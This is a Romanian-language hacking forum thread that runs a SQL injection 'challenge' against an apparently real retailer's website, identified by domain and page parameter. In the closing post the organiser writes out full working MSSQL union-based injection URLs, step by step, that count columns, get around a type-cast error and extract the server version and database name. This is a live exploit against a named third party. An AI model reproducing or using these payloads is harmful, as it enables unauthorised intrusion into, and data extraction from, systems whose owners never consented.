Jump to content
dancezar

Sql injection Challenge

Recommended Posts

  • Active Members

Target: xxx.bellmanandflint.co.uk/product_details.aspx?product_id=1900

Cerinte :

- Folositi doar Union Based NU ERROR BASED NU STACKED QUERY

- Scoateti versiunea impreuna cu nickul vostru ,baza de date principala si username-ul

- Trimiteti prin pm sintaxa

mssqli.png

Solveri:

-denjacker

-askwrite

-BitMap

Edited by danyweb09
Link to comment
Share on other sites

De 2 zile m-am apucat si eu de tutoriale SQLi si pe acest site deci pur si simplu nu vrea sa mearga... hmm

Deci am aflat nr. de coloane: 9, dar cand dau sa le afisez nu-mi afiseaza nimic pe ecran, nici un numar/text si functia version() nu o recunoaste deci ma gandesc ca e mai invechit serverul mysql deci am incercat @@version si nu da eroare dar nu afiseaza.

Ceva hint-uri pentru un newbie?

Link to comment
Share on other sites

De 2 zile m-am apucat si eu de tutoriale SQLi si pe acest site deci pur si simplu nu vrea sa mearga... hmm

Deci am aflat nr. de coloane: 9, dar cand dau sa le afisez nu-mi afiseaza nimic pe ecran, nici un numar/text si functia version() nu o recunoaste deci ma gandesc ca e mai invechit serverul mysql deci am incercat @@version si nu da eroare dar nu afiseaza.

Ceva hint-uri pentru un newbie?

Nu e MySQL tipul bazei de date ?i nu este un server.

Link to comment
Share on other sites

MSSQL ,union basedu pe care il stie toata lumea cu un mic trick la partea de tip de date(INT/STRING) .

Eroarea spune totul



Unable to cast object of type 'System.Int32' to type 'System.String'.

Programatori stiu ce inseamna asta;)

Stiu, am incercat din prima cu .ToString() .tostring() si alte functii dar nu merg... probabil e prea veche versiunea si nu gasesc alte functii :? probabil trebuie criptat in hexa sau altceva? mai multe indicatii ? mersi in avans :)

L.E: Gata, m-am prins :D voi posta curand print

L.E2: Deocamdata doar versiunea :

1st.png

Edited by ForTestingPurposes
Link to comment
Share on other sites

  • Active Members

Closed

Felicitari celor care au reusit sa il rezolve!

In primul rand este de tip String

Bellman & Flint - Product Details

Bellman & Flint - Product Details

Numaratul coloanelor se face exact ca la Mysql

http://www.bellmanandflint.co.uk/product_details.aspx?product_id=1900%27 order by 1--

Si in total sunt 9 coloane apoi ca sa treceti de eroarea "Unable to cast object of type 'System.Int32' to type 'System.String'." care apare mai jos


http://www.bellmanandflint.co.uk/product_details.aspx?product_id=1900%27 union select 1,2,3,4,5,6,7,8,9--

Trebuie sa transformam coloanele in string pentru ca sunt numere....


http://www.bellmanandflint.co.uk/product_details.aspx?product_id=1900%27 union select '1','2','3','4','5','6','7','8','9'--

Pentru a extrage versiunea si Nick-ul vostru spre exemplu folosim + intre expresii


http://www.bellmanandflint.co.uk/product_details.aspx?product_id=1900%27%20union%20select%20%271%27,%272%27,@@version%2b%27:salut%27,%274%27,%275%27,%276%27,%277%27,%278%27,%279%27--

In final asta e sintaxa :


http://www.bellmanandflint.co.uk/product_details.aspx?product_id=1900%27%20union%20select%20%271%27,%272%27,%27Nick:danyweb09%27%2bchar%2860%29%2bchar%2898%29%2bchar%28114%29%2bchar%2862%29%2b%27Version:%27%2b@@version%2bchar%2860%29%2bchar%2898%29%2bchar%28114%29%2bchar%2862%29%2b%27First%20database:%27%2bdb_name%280%29,%274%27,%275%27,%276%27,%277%27,%278%27,%279%27--

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...